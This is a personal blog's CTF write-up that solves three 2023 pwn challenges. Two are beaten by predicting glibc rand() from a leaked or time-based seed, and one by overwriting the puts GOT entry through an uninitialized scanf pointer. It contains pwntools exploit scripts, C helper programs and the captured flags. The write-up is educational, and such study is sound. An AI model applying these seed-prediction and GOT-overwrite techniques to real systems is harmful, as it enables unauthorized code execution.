Apothiphis_z

My journey in the world of CTF as n00b

Home | Blog | About me | Contact me
13 June 2023

Random Number You Say? Let's Break Them!

by Francesco

#Guessing Random Numbers in CTF

Although the challenges are a bit old, I think they are instructive since they include both cases (with a leaked seed, and without a leak). I’m talking about unlucky of tamuCTF of 2023 and random of TFC CTF of 2023, and a bonus chall that involves srand and rand!

Unlucky

Starting with the easier case (both easy tbh), starting from reversing it:

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    setvbuf(stdout, nullptr, 2, 0);
    setvbuf(stdin, nullptr, 2, 0);
    srand(&seed.0);
    printf("Here's a lucky number: %p\n", main);
    int32_t var_68 = 1;
    int32_t var_6c = 0;
    for (int32_t var_64 = 1; var_64 <= 7; var_64 = (var_64 + 1))
    {
        printf("Enter lucky number #%d:\n", var_64);
        __isoc99_scanf(&data_203c, &var_6c);
        if (rand() != var_6c)
        {
            var_68 = 0;
        }
    }
    if (var_68 == 0)
    {
        puts("How unlucky :pensive:");
    }
    else
    {
        int64_t var_58;
        __builtin_memset(var_58, 0, 0x40);
        fread(&var_58, 1, 0x40, fopen("flag.txt", &data_203f));
        printf("Nice work, here's the flag: %s\n", &var_58);
    }
    *(fsbase + 0x28);
    if (rax == *(fsbase + 0x28))
    {
        return 0;
    }
    __stack_chk_fail();
    /* no return */
} We are asked for 7 numbers, if all of them are correct we will get the content of flag.txt. The program use as a seed the address of a static int, we can't see here but in gdb with dynamic debugging we can retrieve the int.

0x0000555555558068  seed So examining it:

pwndbg> x/x 0x0000555555558068
0x555555558068 <seed.2870>:	0x00000045 0x45 = 69, so is like srand(&69)... Analyzing the leak: We know that our seed is located @ 0x555555558068 (on GDB), on the other hand we got a leak with this address: 0x5555555551a5, that is the entry point of main function, the distance between these addresses is:

pwndbg> p 0x555555558068-0x5555555551a5
$1 = 11971

So we run the binary, grep the leak, add 11971 generate 7 numbers and then we need to send them… An example of helper program in c is:

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    int main(int argc, char *argv[]) {
        int num[10];
        if (argc != 2) {
            printf("Usage: %s <seed>\n", argv[0]);
            return 1;
        }
        int seed = atoi(argv[1]);
        srand(seed);
        printf("Casual Numbers generated with Seed %d: ", seed);
        for (int i = 0; i < 10; i++) {
            printf("%d ", rand());
    	}
        return 0;
    }

And this is my solver script:

    import os
    import time
    from pwn import *
    context.log_level='debug'
    #p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
    elf = ELF('./unlucky')
    p = elf.process()
    junk = p.recvuntil("Here's a lucky number: ")
    main = int(p.recv(15),16)
    print(main)
    distance = 11971
    dis = 0x2EC3
    file = "output.txt"
    
    seed = main + dis
    cmd = f"./helper {seed}"
    os.system(cmd)
    
    num = []
    with open(file,"r") as f:
    	for i in f:
    		num.append(i)
    for k in num:
    	time.sleep(2)
    	p.sendline(k)
    
    print(p.recvallS())

If someone didn’t want to go through c but directly from python, he had to write something like this:

from ctypes import CDLL
from ctypes.util import find_library
libc = CDLL(find_library("c"))
libc.srand(seed)
str(libc.rand()).encode()

Running it we get:

Enter lucky number #1:
Enter lucky number #2:
Enter lucky number #3:
Enter lucky number #4:
Enter lucky number #5:
Enter lucky number #6:
Enter lucky number #7:
Nice work, here's the flag: gigem{1_n33d_b3tt3r_3ntr0py_s0urc3s}

Random

The main difference between the two challs is that srand argument is time(NULL) , that return the number (after conversion) of seconds since about midnight 1970-01-01. That number changes every second, so guarantees a new sequence of “random” numbers every time your program runs, right??? But we are hackers and we need to break it, I wrote another helper file that is quite similar to the other:

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    int main() {
        int i;
        int num[10];
        srand(time(NULL));
        for (i = 0; i < 10; i++) {
            num[i] = rand();
        }
        FILE *file = fopen("numeri_casuali.txt", "w");
        if (file == NULL) {
            printf("Impossible to open the file.\n");
            return 1;
        }
        for (i = 0; i < 10; i++) {
            fprintf(file, "%d\n", num[i]);
        }
        fclose(file);
    
        printf("Numbers saved in 'numeri_casuali.txt'.\n");
    
        return 0;
    }

And python solver is:

    from pwn import *
    import os
    context.log_level = 'debug'
    elf = context.binary = ELF("./random")
    
    ip, port = "challs.tfcctf.com", 32731
    
    io = remote(ip, port)
    os.system("./rand")
    num = []
     
    with open("numeri_casuali.txt", "r") as f:
    	for l in f:
     		num.append(l)
     
     
    for i in num:
    	io.sendline(str(i))	
    io.interactive()

Because every second the numbers generated are different we need to run simultaneously our program and the binary. Running the exploit we get our shell (this time there was a win function, in the other binary we get directly the content of flag.txt)

 $ cat flag*
TFCCTF{W0W!_Y0U_GU3SS3D_TH3M_4LL!@!}

Bonus: Randomness (Tamu CTF)

What if we are given the opportunity to enter a seed and a guess? Seems easy right? RIGHT? This time we are going to exploit a different vulnerability… We have the source code :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void foo() {
    unsigned long seed;
    puts("Enter a seed:");
    scanf("%lu", &seed);
    srand(seed);
}

void bar() {
    unsigned long a;

    puts("Enter your guess:");
    scanf("%lu", a);

    if (rand() == a) {
        puts("correct!");
    } else {
        puts("incorrect!");
    }
}


int main() {
    puts("hello!");
    foo();
    bar();
    puts("goodbye!");
}

Code Review: There is a win function, but this time is not called anywhere, reading again the description

I made this program to test how srand and rand work, but it keeps segfaulting. I don't read compiler warnings so I can't figure out why it's broken.

Gives us an hint where the problem may lay, compiling it:

randomness.c: In function ‘bar’:
randomness.c:21:14: warning: format ‘%lu’ expects argument of type ‘long unsigned int *’, but argument 2 has type ‘long unsigned int’ [-Wformat=]
   21 |     scanf("%lu", a);
      |            ~~^   ~
      |              |   |
      |              |   long unsigned int
      |              long unsigned int *

The scanf() in bar() requires a pointer to a destination, but we are passing the value of the destination. Running the program in gdb to see how arguments are passed I noticed that the value that we insert within the foo() function will be also the value of a (since a is uninitialized) in the scanf(). So we have the opportunity to write an arbitrary integer everywhere,(kinda good primitive!), we can overwrite a function to be win(). We can take advantage of the intensive use of puts, and because a call to puts is after the execution of bar() we will exploit it!

from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('./randomness')
io = elf.process()
puts = str(elf.got['puts']).encode()
win = str(elf.sym['win']).encode()
io.sendline(puts)
io.sendline(win)
io.interactive()

Running it we get:

hello!
Enter a seed:
Enter your guess:
gigem{value_or_pointer_is_an_important_distinction}

Thanks for reading!


If you have any question, want to ask me anything or give me any advice, just contact me and I will be super-available to answer to all of you! Hope to see you again!
tags: Hacking - Pwn